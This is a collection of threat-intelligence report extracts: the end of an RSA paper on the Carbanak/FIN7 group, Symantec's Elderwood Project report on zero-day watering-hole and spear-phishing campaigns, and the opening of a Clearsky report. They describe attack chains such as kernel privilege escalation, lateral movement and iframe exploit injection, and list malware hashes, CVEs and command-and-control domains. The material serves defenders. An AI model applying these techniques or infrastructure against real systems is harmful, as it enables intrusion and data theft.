Figure39:BateleurMachineEnumeration  Figure40:TinymetConfiguration EmbeddedDLL File Name:  stealer_component_refl.dll File Size:  24576 bytes MD5:        ddc9b71808be3a0e180e2befae4ff433 SHA1:       996db927eb4392660fac078f1b3b20306618f382 PE Time:    0x58993DE6 [Tue Feb 07 03:24:22 2017 UTC] Sections (4): Name      Entropy  MD5 .text     6.05     e741daf57eb00201f3e447ef2426142f .rdata    4.3      5ecb9eb63e8ace126f20de7d139dafe8 .data     1.54     732e6d3d7534da31f51b25506e52227a .reloc    4.76     9f01b74c1ae1c407eb148c6b13850d28  Deleted: Deleted: password https://www.icebrg.io/blog/footprints-of-fin7-iocs WHITE PAPER 32 6.
RECOMMENDATIONS The security lifecycle is the foundation for securing a network against external threats.
But this foundation needs to be built upon and a culture of attention to detail, proactive monitoring and looking for blind spots.
This can sometimes be tedious and seem unnecessary with the right mix of technology.
RSA Incident Response has weighed in on the current situation, given they see the effectiveness of many different types of instrumentation and network layouts.
The key takeaway from that post is for defenders to programmatically increase their visibility while decreasing a potential attackers visibility and access to sensitive data in a continuous cycle.
This shortens attacker dwell time when a breach occurs and limits exposure to financial loss.
Preventing an intrusion cannot always be mitigated by thorough patching and good IT hygiene, though.
In one case, these actors were able to exploit a vulnerability in an internet-facing web application.
In this case, the organization had a good patching regimen for their application servers however, the software was a package and one of the components had a vulnerability that the vendor had not patched.
While the story could have ended there, it did not.
The server was running a vulnerable Linux kernel, allowing for escalated privileges using CVE-2016-5195, the Dirty COW copy-on-write vulnerability.
The attackers quickly installed a backdoor SSH and SSHD binary, but soon discovered the Linux environment used key-based authentication.
From here, the attackers abused the winbind service, which allows Windows Active Directory authentication on Linux hosts, to quickly pivot to the Windows environment and carry on with their mission.
This is often the case with defense planning is made more complicated once you consider zero-day exploitspreviously unknown vulnerabilities in existing software.
There are, undoubtedly, many zero days yet to be discovered in todays commonly used software.
So how is a defender to be effective with the complexity of modern networks and software?
By assuming a breach is always underway.
Hunt for indicators in network traffic and on hosts and look for blind spots in that monitoring.
At a minimum, an organization should log privileged account usage remotely and know where credentials are stored.
Carbanak/FIN7 relies on variants of the mimikatz password-dumping software.
Active Directory software is a fantastic tool to centralize authentication and access control, as well as manage endpoints.
This also benefits a potential attacker, often providing the proverbial keys to the kingdom and an abstracted map of the network.
The simplest reconnaissance tool to be aware of is a Windows native utility, net.exe.
More comprehensive frameworks exist in the Recon module for PowerSploit or the Situational Awareness module for PowerShell Empire.
https://www.sans.org/reading-room/whitepapers/basics/security-lifecycle-managing-threat-592 https://www.rsa.com/en-us/blog/2017-07/infosec-easy-button-myth https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2016-5195 https://github.com/gentilkiwi/mimikatz https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon https://www.powershellempire.com/?page_id285 https://www.powershellempire.com/?page_id285 https://www.powershellempire.com/ WHITE PAPER 33 Proper segmentation of the network could have also prevented the incident described above.
Had the DMZ of the internet-facing web hosts not had access to the internal network segments, this would not have happened.
This can be taken a step further, segmenting financial data into its own network with even tighter access controls and visibility.
The industrial verticals that use supervisory control and data acquisition (SCADA) networks to control machinery running the world (such as power grids) use this methodology to reduce their attack surface.
If a corporate user is spear phished and a Trojan is installed, it should be physically impossible to access these resources.
The same approach in storing and handling financial data should also be taken.
Prevention is preferred, but in the modern threat environment, a security analyst must assume a breach is in progress and scrutinize the network accordingly.
Active hunting in network traffic and endpoint behavior and artifacts should be a daily task.
Apex predators in nature have finely tuned senses to hunt their prey so should the modern security analyst.
With the right people, process and technology, organizations should be able to detect these Trojans and movement throughout the network, with ease.
If an organization is using the RSA NetWitness Suite, the parsers, methodologies and YARA signatures described in this paper offer wide coverage for this actor.
While persistent, they have proven to not be advanced, using tools and tactics available to every level of penetration tester.
That they are even successful and worth mentioning should tell us that, as an industry, were still undergoing growing pains.
With technological advancements coming at full speed, we need to be flexible in our understanding of the what and how were defending.
We also need to be flexible in our understanding of the threats themselves, not make assumptions.
No organization has the perfect security instrumentation and processes its an ongoing cycle.
7.
CONCLUSIONS The Carbanak/FIN7 syndicate has had an interesting history over the past four- plus years of observation.
The syndicate began targeting Russian and European banking institutions, employing mules to run money from ATMs and direct transfers to bank accounts.
When the first report emerged in 2015 and following the subsequent high-profile arrests, the group appeared to slow down and fragment into smaller sub-groups, possibly because members were arrested.
The syndicate then appeared to return in force in 2016 with a diversified digital arsenal and target deck.
Since reappearing, they have been observed in the financial, hospitality, retail, food service and other industrial verticals with easy access to financial data.
Carbanak uses disclosed vulnerabilities in email exploits/lures, as well as direct attacks on infrastructure exposed to the internet, to gain an initial WHITE PAPER 34 foothold.
Once on a victim network, they possess an arsenal of post- exploitation tools, allowing them to escalate privileges, proxy internally to firewalled segments, move laterally, conduct reconnaissance, and surveil individuals for information on the financial data systems.
They are motivated and extremely persistent.
APPENDIX Warning: The following table includes content some may find offensive.
The data contained in this table is necessary for the proper protection of enterprises against this actor.
Rd Domain Malware Involved Links to Anunak zaydo.website zaydo.space zaydo.co akkso-dob.in upatre downloader nikaka-ost.in skaoow-loyal.xyz akkso-dob.xyz upatre downloader maorkkk-grot.xyz upatre downloader skaoow-loyal.net nikaka-ost.xyz upatre downloader pasteronixca.com corebot pasteronixus.com corebot vincenzo-bardelli.com corebot marcello-bascioni.com corebot namorushinoshi.com corebot chugumshimusona.com corebot wascodogamel.com corebot ppc-club.org corebot Resolved between 09/16/201501/08/2016 to 91.194.254.207 same subnet as advetureseller.com and others WHITE PAPER 35 castello-casta.com carberp cameron-archibald.com carberp narko-cartel.com andromeda narko-dispanser.com andromeda dragonn-force.com Resolved between 02/04/201505/14/2016 to 91.194.254.207 same subnet as advetureseller.com and others my-amateur-gals.com gooip-kumar.com badur Resolved between 02/05/201504/17/2015 to 91.194.254.207 same subnet as advetureseller.com and others casas-curckos.com levetas-marin.com badur casting-cortell.com ass-pussy-fucking.net 02/08/201504/29/2016, 91.194.254.207 same subnet as advetureseller.com and others brazilian-love.org baltazar-btc.com road-to-dominikana.biz corebot ihave5kbtc.org andromeda ihave5kbtc.biz andromeda critical-damage333.org Table 2: Links to Anunak/Sekur Malware WHITE PAPER 36 CONTENT AND LIABILITY DISCLAIMER This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors.
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Security Response Overview In 2009, Google was attacked by a group using the Hydraq (Aurora) Trojan horse.
Symantec has monitored this groups activities for the last three years as they have consistently targeted a number of industries.
Interesting highlights in their method of operations include: the use of seemingly an unlimited number of zero-day exploits, attacks on supply chain manufacturers who service the target organization, and a shift to watering hole attacks (compromising certain websites likely to be visited by the target organization).
The targeted industry sectors include, but are not restricted to defense, various defense supply chain manufacturers, human rights and non- governmental organizations (NGOs), and IT service providers.
These attackers are systematic and re-use components of an infrastructure we have termed the Elderwood platform.
The name Elderwood comes from a source code variable used by the attackers.
This attack platform enables them to quickly deploy zero-day exploits.
Attacks are deployed through spear phishing emails and also, increasingly, through Web injections in watering hole attacks.
Although there are other attackers utilizing zero-day exploits (for example, the Sykipot or Nitro, or even Stuxnet), we have seen no other group use so many.
The number of zero-day exploits used indicates access to a high level of technical capability.
Here are just some of the most recent exploits that they have used: Gavin OGorman Geoff McDonald The Elderwood Project Contents Overview ............................................................ 1 Background ........................................................ 2 Targets................................................................ 4 Escalation of watering hole attacks .................. 6 Attack platform .................................................. 8 Document creation kit  ................................. 8 Shared SWF file ............................................ 8 Connecting the dots .......................................... 9 Conclusion........................................................ 10 Appendix .......................................................... 11 Symantec protection ....................................... 12 http://www.symantec.com/security_response/writeup.jsp?docid2010-011114-1830-99 http://www.symantec.com/security_response/writeup.jsp?docid2010-031015-0224-99 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_nitro_attacks.pdf http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf The Elderwood Project Page 2 Security Response Adobe Flash Player Object Type Confusion Remote Code Execution Vulnerability (CVE-2012-0779) Microsoft Internet Explorer Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875) Microsoft XML Core Services Remote Code Execution Vulnerability (CVE-2012-1889) Adobe Flash Player Remote Code Execution Vulnerability (CVE-2012-1535) It is likely the attackers have gained access to the source code for some widely used applications, or have thoroughly reverse-engineered the compiled applications in order to discover these vulnerabilities.
The vulnerabilities are used as needed, often within close succession of each other if exposure of any of the vulnerabilities is imminent.
The scale of the attacks, in terms of the number of victims and the duration of the attacks, are another indication of the resources available to the attackers.
Victims are attacked, not for petty crime or theft, but for the wholesale gathering of intelligence and intellectual property.
The resources required to identify and acquire useful informationlet alone analyze that informationcould only be provided by a large criminal organization, attackers supported by a nation state, or a nation state itself.
Background Serious zero-day vulnerabilities, which are exploited in the wild and affect a widely used piece of software, are relatively rare there were approximately eight in 2011.
The past few months however has seen four such zero- day vulnerabilities actively exploited in the wild.
Two of the zero-day exploits were in Adobe Flash, the other two in Internet Explorer.
In April 2012, we identified seven different Trojans that were being used in conjunction with CVE-2012-0779.
Within one month, two more zero-day exploits were identified in the wild.
These were CVE-2012-1875 and CVE- 2012-1889.
The timing of the release of these three exploits was suspicious.
As soon as one had been identified, the next became active.
We investigated the three exploits and found connections between them all.
In the past few weeks, yet another zero-day exploit was detected in the wild, CVE-2012-1535.
We have tied this zero-day exploit back to all the others.
They may only be the tip of the iceberg.
In early 2010, Google documented an attack against their infrastructure.
They stated that they were attacked in December 2009 and that the attacks originated in China.
The attackers utilized a Trojan called Hydraq, (also known as Aurora), which was delivered using an Internet Explorer zero-day exploit.
We believe the Hydraq attack and the recent attacks that exploit the vulnerabilities outlined above are linked.
In March 2011, at least two Adobe Flash zero-day attacks were utilized in similar attacks against the same types of victims.
In September 2011, yet another Adobe Flash zero-day exploit was used Figure 1 Timeline of zero-day exploits attributable to the one group http://www.securityfocus.com/bid/53395 http://www.securityfocus.com/bid/53847 http://www.securityfocus.com/bid/53934 http://www.securityfocus.com/bid/55009 http://www.symantec.com/content/en/us/enterprise/other_resources/b-istr_main_report_2011_21239364.en-us.pdf http://googleblog.blogspot.ie/2010/01/new-approach-to-china.html/2010/01/new-approach-to-china.html http://www.symantec.com/security_response/writeup.jsp?docid2010-011114-1830-99 http://www.symantec.com/connect/blogs/hydraq-attack-mythical-proportions http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617 http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617 The Elderwood Project Page 3 Security Response to attack visitors to the Amnesty International Hong Kong site.
The very same website was again compromised in the most recent set of attacks.
Our analysis shows that a single group has been using these zero-day exploits, along with others over the past couple of years, in targeted attacks against individuals, companies, governments, and even entire sectors.
A timeline for these various zero-day exploits is shown in Figure 1.
The attacks conducted by this group are carried out using several different techniques.
One of the methods used, called a watering hole attack, shown in figure 2, is a clear shift in their method of operations.
The concept of the attack is similar to a predator waiting at a watering hole in a desert.
The predator knows that victims will eventually have to come to the watering hole, so rather than go hunting, he waits for his victims to come to him.
Similarly, attackers find a Web site that caters to a particular audience in which the attackers are interested.
For example, people who visit the Amnesty International Hong Kong website are most likely visiting because they are interested in human rights issues in Hong Kong.
Having identified this website, the attackers hack into it using a variety of means.
For example, the site may be vulnerable to a SQL injection, or perhaps the attackers compromise the machine of an individual with publishing rights to the website.
The Figure 2 Web injection process used in watering hole attacks http://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid The Elderwood Project Page 4 Security Response attackers then inject an exploit onto public pages of the website that are hopefully visited by their ultimate target.
Any visitor susceptible to the exploit is compromised and a back door Trojan is installed onto their computer.
The attacker then has complete control over the victims computer.
Three of the most recent zero-day exploits were used in watering hole attacks, an indication that this approach is gaining momentum.
The more traditional technique is to send a spear-phishing email, containing an attachment, to the target.
That attachment is a document containing an exploit which, when opened, then drops a Trojan onto the target computer.
This works if the exploit is embeddable in a document.
If not, then an alternative approach is to host the exploit on a Web server and then email the target with a link to that Web server.
The link used is quite unique, it is not hosted on a common Web site, so it will only be encountered by the chosen target.
When the target clicks on the link, the exploit is triggered and a back door is installed.
The Elderwood gang has shown their resourcefulness over the past few years by leveraging a large number of zero-day vulnerabilities.
The full list of vulnerabilities is shown below.
We have analyzed four of the most recent exploits (CVE-2012-0779, CVE-2012-1875, CVE-2012-1889, and CVE-2012-1535) and their associated malicious documents, the Trojans, and the infrastructure utilized in the attacks.
There are several common features used in the attacks.
Some of these features hint at the potential infrastructure, or platform, developed to support these attacks.
From this analysis we have identified an increase in watering hole attacks by this group and developed a theory describing the possible infrastructure the attackers are utilizing.
We also describe the various targeted industry sectors and provide evidence that a single gang is most likely to be behind the attacks.
Targets The targets of the four recent zero-day exploits were attacked through both email (CVE-2012-0779 and CVE- 2012-1535) and Web vectors (CVE-2012-0779, CVE-2012-1875, and CVE-2012-1889).
Identifying the target profile and related industry to which the target belongs is straight forward when email is used in an attack.
Identifying the profile of the targets when the Web is used as the attack vector is difficult.
For example, if an aeronautical website was compromised, the attackers may be trying to infect visitors from the Defense industry, the aeronautical company employees themselves, or perhaps visitors from others aeronautical companies.
For our analysis, we have had to presume that the industry sector being targeted is the same as that of the watering hole website, understanding that in reality this may not always be the case.
Table 1 Zero-day vulnerabilities associated with the Elderwood gang CVE BID Description Application 2012-0779 53395 Object Type Confusion Remote Code Execution Vulnerability Adobe Flash Player 2012-1875 53847 Same ID Property Remote Code Execution Vulnerability Microsoft Internet Explorer 2012-1889 53934 Remote Code Execution Vulnerability Microsoft XML Core Services 2012-1535 55009 Remote Code Execution Vulnerability Adobe Flash Player 2011-0609 46860 SWF File Remote Memory Corruption Vulnerability Adobe Flash Player 2011-0611 47314 SWF File Remote Memory Corruption Vulnerability Adobe Flash Player 2011-2110 48268 Adobe Flash Player Remote Memory Corruption Vulnerability Adobe Flash Player 2010-0249 37815 srcElement() Remote Code Execution Vulnerability Internet Explorer http://www.securityfocus.com/bid/53395 http://www.securityfocus.com/bid/53847 http://www.securityfocus.com/bid/53934 http://www.securityfocus.com/bid/55009 http://www.securityfocus.com/bid/46860 http://www.securityfocus.com/bid/47314 http://www.securityfocus.com/bid/46268 http://www.securityfocus.com/bid/37815 The Elderwood Project Page 5 Security Response The primary targets identified are defense, or more precisely manufacturers that are in the defense supply chain.
These are companies who manufacture electronic or mechanical components which are then sold to top-tier defense companies.
The attackers may use the manufacturers as a stepping stone to gain access to top-tier defense contractors, or obtain intellectual property used in the production of parts that make up larger products produced by a top-tier defense company.
The second most common target is the general area of human rights, or Non Governmental Organizations (NGOs).
A number of websites generally relating to religion, Taiwan, Hong Kong and China were compromised for this purpose.
The CVE-2012-1875 exploit is almost exclusively used in this target sector, with some crossover from the CVE-2012-1889 exploit.
Figure 4 Number of targeted companies (Email) and compromised websites (Web) per exploit Figure 3 Target sectors The Elderwood Project Page 6 Security Response The remaining target sectors include Finance, Energy (Oil/Gas), Education, and Government.
There are a number of outlier victims, such as a hotel jobs site, which may have simply been targeted in error and are collateral damage.
The vast majority of detections are in the United States.
Figure 5 shows those detections.
Escalation of watering hole attacks As we have noted earlier, the number of watering hole attacks have been on the increase.
The attacks begin with an attacker locating a vulnerability on a chosen website.
This vulnerability allows the attacker to insert some JavaScript, or HTML, into the website.
That piece of code contains a link, or iFrame, which points to another Web page that actually hosts exploit code for the chosen vulnerability.
When a user connects to the hacked website, they are automatically referred to the malicious Web page which exploits a vulnerability allowing the attacker to install malware onto the victims computer.
Once the iFrame and malicious code are in place on the server, the attacker does not need to do anything but simply wait for victims to browse to the website, or visit the watering hole, and become infected.
Web injection attacks are not new and are commonly used in cybercrime.
The difference between their use in cybercrime and in watering hole attacks is down to the choice of websites to compromise and use in the attacks.
In a mass injection attack, criminals will indiscriminately compromise any website they can, but in watering hole attacks, the attackers are focused.
They choose websites within a particular sector so as to infect persons of interest who likely work in that same sector and are likely to therefore visit related websites.
Targeting a specific website is much more difficult than merely locating websites that contain a vulnerability.
The attacker has to research and probe for a weakness on the chosen website.
Indeed, in watering hole attacks, the attackers may compromise a website months before they actually use it in an attack.
Once compromised, the attackers periodically connect to the website to ensure that they still have access.
This way, the attackers can infect a number of websites in one stroke, thus preserving the value of their zero-day exploit.
They are even in a position to inspect the website logs to identify any potential victims of interest.
This technique ensures that they obtain the maximum return for their valuable zero-day exploit.
Figure 5 Global detections of files used in the past year by the Elderwood gang The Elderwood Project Page 7 Security Response Although watering hole attacks have been known about since approximately March of 2011, the activity outlined in this report marks a substantial increase.
Three zero-day exploits, CVE-2012-0779, CVE-2012-1875, and CVE- 2012-1889 have all been used within a 30-day period to serve up back door Trojans from compromised websites.
Figure 6 Elderwood platform The Elderwood Project Page 8 Security Response The increase in the use of this attack technique requires the attackers to sift through a much greater amount of stolen information than a targeted attack relying on email, as the number of victims compromised by a Web injection attack will be much greater.
Although multiple emails are often sent to numerous victims, the scale of such attacks is much smaller than the number of victims infected by visiting one of a number of compromised websites.
We believe, to solve this problem, the attackers have built a system that allows them to execute new campaigns by simply dropping in a new exploit and various other components, such as Trojans and hacked servers.
Attack platform The attackers have leaked snippets of information that hint at the type of infrastructure that is likely to be used to implement these attacks.
Figure 6 is a diagram of the various processes and steps that that the Elderwood attackers must go through to conduct their attacks.
All attacks require a Trojan to infect the target computer.
This Trojan is packaged with a packer and also the address of the command-and-control (CC) server.
The next step is to deliver that packaged Trojan to the target.
Delivery is either though an email or a Web based vector.
We have identified two distinct elements in the delivery vector that demonstrate the potential attack infrastructure.
Document creation kit The attackers often delivered their malicious code via documents attached to email.
Based on our analysis, we believe the attackers have built a tool that easily allows them to automatically construct documents containing different payloads.
The tool is able to take an arbitrary clean document file, specific exploit code, and a Trojan, and bundle them together to create a malicious document ready to be used in the next attack.
This tool is one component of the Elderwood platform.
The use of such a tool can be readily seen in samples that exploit the CVE-2012-0779 vulnerability where multiple document files were encoded in the same manner, but the Trojan payload differed.
Shared SWF file Another component used in the attacks is a Shockwave Flash (SWF) file.
Often, to ensure reliable execution of exploit code, code must be placed in the right areas of computer memory.
In addition, exploit code often performs the same task of downloading a Trojan from a remote website for execution.
Instead of developing code to perform these tasks for each different exploit, the attackers have developed a common SWF file that is used solely to create the correct conditions in memory and accepts a parameter specifying where to download the Trojan.
In some attacks, the parameter name was Elderwood.
The same SWF file was seen used when exploiting 3 different vulnerabilities (CVE-2012-0779, CVE-2012-1875, CVE-2012-1889).
By using a common SWF file, the attackers can simply deploy a new trigger, that is, a zero-day exploit, and the SWF handles the rest of the work, retrieving and decoding the back door Trojan.
These various re-usable components collectively make up the Elderwood attack platform, as shown in figure 6.
There is no doubt that there are several other components that the attackers use in their various processes as well.
Other possible components of the attack platform may include: A tool for the automated creation of accounts on Web-based email services Automated registration of domain names Information gathering on targets  searching for, and consolidating data on, a victim to identify potential website targets and relevant topics for email content An analysis platform for stolen information The Elderwood Project Page 9 Security Response The reuse of the identified components gives clues as to how the attackers may divide the labor amongst themselves.
Technically skilled hackers (researchers) create exploits, document creation kits, re-usable trigger code (the SWF files), and compromise websites, and these are then made available to less technical attackers.
These attackers (attack operators) are likely responsible for identifying targets and delivering the attack payload using the tools and infrastructure provided to them.
Once a target has been compromised, the less skilled attack operators can then proceed to move through the compromised network, identifying data of interest.
The level of technical skill required to move through a compromised network is much lower than that required to establish the initial penetration.
Connecting the dots The investigation into the various exploits began with a deep analysis of CVE-2012-0779.
From this analysis, we identified several Trojans which were dropped from documents utilizing the exploit.
These Trojans helped us begin the process of establishing links between the various zero-day exploits.
The code in one of those Trojans was obfuscated in a certain way.
This same obfuscation was used on a Trojan dropped by CVE-2012-1875, establishing a link between the use of these two exploits.
Going back in time, the Hydraq Trojan also displayed this obfuscation.
Additional links joining the various exploits together included a shared command-and-control infrastructure.
Trojans dropped by different exploits were connecting to the same servers to retrieve commands from the attackers.
Some compromised websites used in the watering hole attacks had two different exploits injected into them one after the other.
Yet another connection is the use of similar encryption in documents and malicious executables.
A technique used to pass data to a SWF file was re-used in multiple attacks.
Finally, the same family of Trojan was dropped from multiple different exploits.
Figure 7 illustrates the connections between the various exploits.
Figure 7 Links between different exploits The Elderwood Project Page 10 Security Response Conclusion Simple targeted attacks are quite common.
Most (the Taidoor attackers for example) reuse exploits and are relatively simple to block, if one ensures that ones network and software is regularly patched.
Somewhat more sophisticated attackers use zero-day exploits.
The Elderwood hackers use multiple zero-day exploits, multiple Trojans, and multiple delivery vectors.
They are responsible for compromising numerous websites, corporations, and individuals over the past three years.
This group is focused on wholesale theft of intellectual property and clearly has the resources, in terms of manpower, funding, and technical skills, required to implement this task.
Although we have not conclusively established a connection between the most recent exploits and those used in attacks in 2011, there are similarities.
Apart from the technical features in common, as mentioned previously (URL encoding), there is a noticeable similarity in the timing of the attacks and the types of vulnerabilities used between the 2012 and 2011 attacks.
Both sets of attacks used multiple zero-day exploits one after the other, sometime around April to August, and both sets of attacks exploit Adobe Flash and Internet Explorer.
It may be the case that these initial penetration attacks are launched over a fixed period of time (several months from approximately April to August).
After this initial compromise, the attackers consolidate their beachhead and begin to analyze the stolen information, spreading through networks and maintaining access as needed.
By analyzing the information gathered, the attackers can identify yet more targets of interest.
They may also eventually be detected and evicted from a compromised network.
In later attacks, newly identified targets can be attacked and old victims can be targeted again.
If this is the case, then companies and individuals need to be on their guard.
Any manufacturers who are in the defense supply chain need to be wary of attacks emanating from subsidiaries, business partners, and associated companies.
It is possible that those trusted companies were compromised by the attackers who are then using them as a stepping-stone to the true intended target.
Companies and individuals should prepare themselves for a new round of attacks in 2013 utilizing both Adobe Flash and Internet Explorer zero-day exploits.
This is particularly the case for companies who have been compromised in the past and managed to evict the attackers.
The knowledge that the attackers gained in their previous compromise will assist them in any future attacks.
Resources Symantec Security Response Blog http://www.symantec.com/connect/symantec-blogs/sr Follow Symantec Security Response on Twitter http://twitter.com/threatintel http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/trojan_taidoor-targeting_think_tanks.pdf http://www.symantec.com/connect/symantec-blogs/sr http://twitter.com/threatintel The Elderwood Project Page 11 Security Response Appendix Malware detection names The Elderwood gang uses multiple different Trojans.
The ones identified to date are detected using the detection names in table 2.
Table 3 Command and control servers CC domains qwby.gownsman.com wwwcnas.org gate-usa.com 3dvideo.ru wt.ikwb.com svr01.passport.serveuser.com zfcay1751.chinaw3.com web.cyut.edu.tw srv001.proxydns.com help.2012hi.hk 0207.gm.jetos.com 71.6.217.131 javaupdate.freeddns.com yours.microtrendsoft.com cpu.edu.tw glogin.ddns.us download.msdnblog.com dd.pst.qpoe.com Table 2 Trojans associated with Elderwood gang Associated Trojans Backdoor.
Briba Trojan.
Hydraq Trojan.
Naid Backdoor.
Wiarp Backdoor.
Vasport Trojan.
Pasam Backdoor.
Darkmoon Packed.
Generic.379 Packed.
Generic.374 Backdoor.
Ritsol Backdoor.
Nerex Backdoor.
Linfo Command-and-control servers Table 3 shows the command and control servers.
qwby.gownsman.com wwwcnas.org gate-usa.com 3dvideo.ru wt.ikwb.com svr01.passport.serveuser.com zfcay1751.chinaw3.com web.cyut.edu.tw srv001.proxydns.com help.2012hi.hk 0207.gm.jetos.com javaupdate.freeddns.com yours.microtrendsoft.com cpu.edu.tw glogin.ddns.us download.msdnblog.com dd.pst.qpoe.com http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-2843-99 http://www.symantec.com/security_response/writeup.jsp?docid2010-011114-1830-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-061518-4639-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051606-1005-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051606-5938-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-050412-4128-99 http://www.symantec.com/security_response/writeup.jsp?docid2005-081910-3934-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-071315-3201-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-071315-5835-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-3909-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-3445-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051605-2535-99 The Elderwood Project Page 12 Security Response Symantec protection Many different Symantec protection technologies play a role in defending against this threat, including: File-based protection (Traditional antivirus) Traditional antivirus protection is designed to detect and block malicious files and is effective against files associated with this attack.
Bloodhound.
Exploit.469 Bloodhound.
Exploit.465 Bloodhound.
Exploit.466 Bloodhound.
Olexe.2 Bloodhound.
Flash.15 Packed.
Generic.379 Packed.
Generic.374 Backdoor.
Briba Trojan.
Hydraq Trojan.
Naid Backdoor.
Wiarp Backdoor.
Vasport Trojan.
Pasam Backdoor.
Darkmoon Backdoor.
Ritsol Backdoor.
Nerex Backdoor.
Linfo Trojan.
MDropper Network-based protection (IPS) Network-based protection in Symantec Endpoint Protection can help protect against unauthorized network activities conducted by malware threats or intrusion attempts.
Adobe Flash Type Confusion CVE-2012-0779 (25718) RTMP Type Confusion CVE-2012-0779 2 (25721) MSIE MSXML CVE-2012-1889 3 (25783) MSIE MSXML CVE-2012-1889 2 (50331) MSIE MSXML CVE-2012-1889 (25786) Malicious SWF Download CVE-2012-1535 2 (25878) Malicious SWF Download 4 (25789) MSIE Same ID Property CVE-2012-1875 (25787) MSIE CVE-2010-0249 (23823) Malformed XLS SWF Remote Code Execution CVE-2011-0609 (24136) Flash Player CVE-2011-2110 (24336) Adobe Embedded SWF CVE-2011-0611 (24212) Behavior-based protection Behavior-based detection blocks suspicious processes using the Bloodhound.
SONAR series of detections Reputation-based protection (Insight) Norton Safeweb blocks users from visiting infected websites.
Insight detects and warns against suspicious files as WS.Reputation.1 http://www.symantec.com/business/theme.jsp?themeidstartabID2 http://www.symantec.com/security_response/writeup.jsp?docid2012-082319-2350-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-061307-3118-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-061600-4738-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-050814-3052-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-050815-4208-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-071315-3201-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-071315-5835-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-2843-99 http://www.symantec.com/security_response/writeup.jsp?docid2010-011114-1830-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-061518-4639-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051606-1005-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051606-5938-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-050412-4128-99 http://www.symantec.com/security_response/writeup.jsp?docid2005-081910-3934-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-3909-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051515-3445-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-051605-2535-99 http://www.symantec.com/security_response/writeup.jsp?docid2005-031911-0600-99 http://www.symantec.com/business/theme.jsp?themeidstartabID3 http://www.symantec.com/endpoint-protection http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25718 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25721 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25783 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid50331 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25786 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25878 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25789 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid25787 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid23823 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid24136 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid24336 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid24212 http://www.symantec.com/theme.jsp?themeidstartabID4 Bloodhound.
SONAR http://safeweb.norton.com/ http://www.symantec.com/theme.jsp?themeidstartabID5 http://www.symantec.com/security_response/writeup.jsp?docid2010-051308-1854-99tabid3 The Elderwood Project Page 13 Security Response Email-based protection Symantec MessageLabs Email Security.cloud can block emails associated with these attacks Other protection Application and Device Control (SEP) prevents malicious document files from dropping the backdoor TrojanSymantec Critical System Protection can also prevent unauthorized applications from running.
Browser Protection can protect against web based attacks which use exploits Symantec Critical System Protection can help to lock down system and prevent intrusions Data Loss Prevention (DLP) can prevent confidential data from being accessed or exfiltrated by the attacker http://www.symantec.com/business/email-security-cloud http://www.symantec.com/business/security_response/securityupdates/list.jsp?fidadc http://www.symantec.com/theme.jsp?themeidstartabID3 http://www.symantec.com/critical-system-protection http://www.symantec.com/data-loss-prevention About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information.
Headquartered in Mountain View, Calif., Symantec has operations in more than 40 countries.
More information is available at www.symantec.com.
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Symantec Corporation World Headquarters 350 Ellis Street Mountain View, CA 94043 USA 1 (650) 527-8000 www.symantec.com Copyright  2012 Symantec Corporation.
All rights reserved.
Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries.
Other names may be trademarks of their respective owners.
About the authors Geoff McDonald - Threat Analysis Engineer Gavin OGorman - Sr Threat Intelligence Analyst Security Response Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation.
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______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 1of 18 June 2015 Thamar Reservoir An Iranian cyber-attack campaign against targets in the Middle East Clearsky TLP:WHITE For public distribution http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
